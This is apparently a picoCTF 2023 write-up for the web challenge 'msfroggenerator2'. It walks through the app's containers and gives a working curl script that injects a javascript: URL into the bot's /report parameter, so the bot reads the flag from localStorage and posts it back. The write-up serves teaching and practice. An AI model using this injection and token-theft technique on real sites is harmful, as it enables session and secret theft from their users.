> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/ctf-writeups/picoctf-2023/web-exploitation/msfroggenerator2.md).

# msfroggenerator2

<figure><img src="/files/D0P4Nzlows3nPaPl6U2e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/flHuj4vWyhXWvM6URfMm" alt=""><figcaption></figcaption></figure>

Looking at the dockerfile in the source code:

This website spins 4 containers:

1. "api" builds off the local directory from ./api&#x20;
2. "bot" builds off from the same directory, but the bot also visits URLs/pages automatically, simulating an admin user. If you can get it to visit your malicious page, you can steal its cookie/JWT which has elevated privileges.
3. traefik is a **reverse proxy/load balancer** — sits in front of everything and routes traffic. Not usually the attack target but worth checking for misconfigurations.
4. "openresty" is the **nginx-based web server** — this is what you actually interact with. Serves the frontend and proxies to the API.

### API

<figure><img src="/files/iRVIMeTJQxKZjXvtTBwS" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/apdDDsOzzRStpIbhxueR" alt=""><figcaption></figcaption></figure>

The API container from the source code shows that it's responsible for creating the images. However at the top screenshot, we see that the /report/add requires authentication:  This is likely where the flag is.

<figure><img src="/files/qx6JtTo9SYdFtiXqREjj" alt=""><figcaption></figcaption></figure>

In the bot.js script, we can see that it stores the flag in local storage, and again requires authentication to get the flag. Specifically, it visits a URL, waits 5 seconds, and takes a screesnshot. It then uses that screen shot along side the flag as a bearer token to upload it to /api/reports/add.&#x20;

> **Bearer authentication** (also called **token authentication**) is an [HTTP authentication scheme](https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication) that involves security tokens called bearer tokens. The name “Bearer authentication” can be understood as “give access to the bearer of this token.” The bearer token is a cryptic string, usually generated by the server in response to a login request. The client must send this token in the `Authorization` header when making requests to protected resources:

Now, if we look inside the bot folder and see web.js:

<figure><img src="/files/3TO4uV1006HNwTNaq78U" alt=""><figcaption></figcaption></figure>

This line extracts a parameter from url, meaning we can run code in here. It passes it straight to boss without any authentication&#x20;

### Combining it All

Noting the URL header, we always see the pattern:

<figure><img src="/files/pR68bNEREQ7ANp1eunCk" alt=""><figcaption></figcaption></figure>

The ID is the report, but we can query this bot to also process other stuff.

<figure><img src="/files/YqjfPzwPlw4o5SwDPwEV" alt=""><figcaption></figcaption></figure>

The semicolon acts as a parameter separator, so we can send it to some website like google.com. In other words, we're injecting a simplified XSS payload in to the header through some javascript. Instead of a normal `http://` URL, they used `javascript:` which tells the browser to **execute the text after it as code** rather than navigate to a page. We can then run some code to get the flag:

```javascript
#!/bin/bash
port=64305

# Step 1 - send payload to bot via /report
curl --globoff 'http://saturn.picoctf.net:'$port'/report?id=;url=javascript:fetch("/api/reports/add",{
    method:"POST",
    headers:{
        "Authorization":`Bearer%20${localStorage.getItem('flag')}`
    },
    body:JSON.stringify({screenshot:localStorage.getItem('flag')})
})' -v

# Step 2 - wait for bot to execute
sleep 4

# Step 3 - read the flag back
curl 'http://saturn.picoctf.net:'$port'/api/reports/get'
```

{% hint style="info" %}
"javascript:" It's a **URL protocol** just like `http:` or `https:` — except instead of navigating to a page, the browser **executes whatever comes after it as JavaScript.**
{% endhint %}

```
1. curl hits /report?url=javascript:...
        ↓
2. bot/web.js reads the url parameter → "Sent!"
        ↓
3. bot.js launches puppeteer browser
        ↓
4. browser sees javascript: URL
        ↓
5. executes the fetch() code
        ↓
6. grabs flag from bot's localStorage
        ↓
7. POSTs it to /api/reports/add with flag as Bearer token
        ↓
8. sleep 4 (wait for all this to happen)
        ↓
9. second curl hits /api/reports/get
        ↓
10. returns: [{"screenshot":"picoCTF{...}"}]
```
